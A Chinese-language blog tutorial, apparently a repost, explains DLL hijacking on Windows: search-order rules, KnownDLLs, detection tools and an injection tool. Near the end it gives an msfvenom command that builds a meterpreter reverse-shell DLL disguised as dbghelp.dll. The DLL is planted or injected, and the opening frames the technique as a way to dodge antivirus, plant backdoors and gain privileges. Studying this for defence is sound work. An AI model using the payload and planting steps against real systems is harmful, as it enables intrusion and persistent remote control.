淺談DLL劫持


 

DLL劫持后,能干很多事情,比如殺軟對某些廠商的軟件是實行白名單的,你干些敏感操作都是不攔截,不提示的。還有留后門,提權等等。本文主要介紹如何檢測dll劫持,以及實例演示。

 

1. dll文件是什么?

    DLL(Dynamic Link Library)文件為動態鏈接庫文件,又稱"應用程序拓展",是軟件文件類型。在Windows中,許多應用程序並不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件,放置於系統中。當我們執行某一個程序時,相應的DLL文件就會被調用。一個應用程序可使用多個DLL文件,一個DLL文件也可能被不同的應用程序使用,這樣的DLL文件被稱為共享DLL文件。

如果在進程嘗試加載一個DLL時沒有指定DLL的絕對路徑,那么Windows會嘗試去按照順序搜索這些特定目錄時下查找這個DLL,只要黑客能夠將惡意的DLL放在優先於正常DLL所在的目錄,就能夠欺騙系統優先加載惡意DLL,來實現"劫持"

 

2. dll原理利用

Windows xp sp2之前

Windows查找DLL的目錄以及對應的順序:

1. 進程對應的應用程序所在目錄;

2. 當前目錄(Current Directory);

3. 系統目錄(通過 GetSystemDirectory 獲取);

4. 16位系統目錄;

5. Windows目錄(通過 GetWindowsDirectory 獲取);

6. PATH環境變量中的各個目錄;

例如:對於文件系統,如doc文檔打開會被應用程序office打開,而office運行的時候會加載系統的一個dll文件,如果我們將用惡意的dll來替換系統的dll文件,就是將DLL和doc文檔放在一起,運行的時候就會在當前目錄中找到DLL,從而優先系統目錄下的DLL而被執行。

 

Windows xp sp2之后

Windows查找DLL的目錄以及對應的順序(SafeDllSearchMode 默認會被開啟):

默認注冊表為:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode,其鍵值為1

1. 進程對應的應用程序所在目錄(可理解為程序安裝目錄比如C:\ProgramFiles\uTorrent)

2. 系統目錄(即%windir%system32);

3. 16位系統目錄(即%windir%system);

4. Windows目錄(即%windir%);

5. 當前目錄(運行的某個文件所在目錄,比如C:\Documents and Settings\Administrator\Desktop\test);

6. PATH環境變量中的各個目錄;

 

Windows7 以上版本

系統沒有了SafeDllSearchMode 而采用KnownDLLs,那么凡是此項下的DLL文件就會被禁止從exe自身所在的目錄下調用,而只能從系統目錄即SYSTEM32目錄下調用,其注冊表位置:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs

那么最終Windows2003以上以及win7以上操作系統通過“DLL路徑搜索目錄順序”和“KnownDLLs注冊表項”的機制來確定應用程序所要調用的DLL的路徑,之后,應用程序就將DLL載入了自己的內存空間,執行相應的函數功能。

  • 默認情況下,如果軟件安裝在c盤根目錄,而不是c:\Program Files,那經過身份驗證的用戶具有該目錄的寫權限,另外,perl,python,ruby等軟件通常都添加到path變量中。那攻擊者可以在當前目錄中編寫惡意DLL,只要重新運行exe程序就會中招。
  • SafeDllSearchMode + KnownDLLs二者結合可用來防范dll劫持,但是如果調用"不常見"的dll,也就是並未出現在KnownDLLs的列表中,那么無論SafeDllSearchMode是否開啟,dll搜索的第一順序均為程序的當前目錄,這里就存在一個DLL劫持漏洞(在程序同級目錄下預先放置一個同名dll,在進程啟動的過程中會優先加載,實現劫持。

 

 

3. dll劫持檢查

3.1. Process Explorer

 

3.2. rattler

下載地址:https://github.com/sensepost/rattler/releases

使用方式:rattler.exe “C:\\Program Files\\notepad++\\notepad.exe” 1

 

rattler可以枚舉進程調用的dll列表,識別應用程序哪些dll容易受到DLL預加載攻擊

 

3.3 dll_hijack_detect

使用方式:dll_hijack_detect_x64.exe /unsigned

 

4. dll注入工具

4.1. InjectProc實現自動注入dll

下載地址:https://github.com/secrary/InjectProc/releases

通過該軟件注入進程,可立馬上線

 

5. 驗證劫持系統DLL漏洞步驟

1.啟動應用程序

2.使用Process Explorer等類似軟件查看該應用程序啟動后加載的動態鏈接庫

3.從該應用程序已加載的DLL列表中,查找在KnowsDLLs注冊表項不存在的DLL

4.編寫上一步獲取到的DLL的劫持DLL

5.將編寫好的劫持DLL放到該應用程序目錄下,重新啟動該應用程序,檢查是否劫持成功

 

6.dll漏洞劫持案例

 

msfvenom生成dll木馬

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.128 LPORT=5555 -f dll > dbghelp.dll

 

設置好監聽

 

兩種方法

1.放入軟件根目錄,通過打開軟件自動調用dll文件

 

2.通過InjectProc 直接注入到exe的其他進程中(好處是立馬上線)

 

上線

 

 

在原文基礎上做的修改

原文地址:https://www.cnblogs.com/bmjoker/p/11031238.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM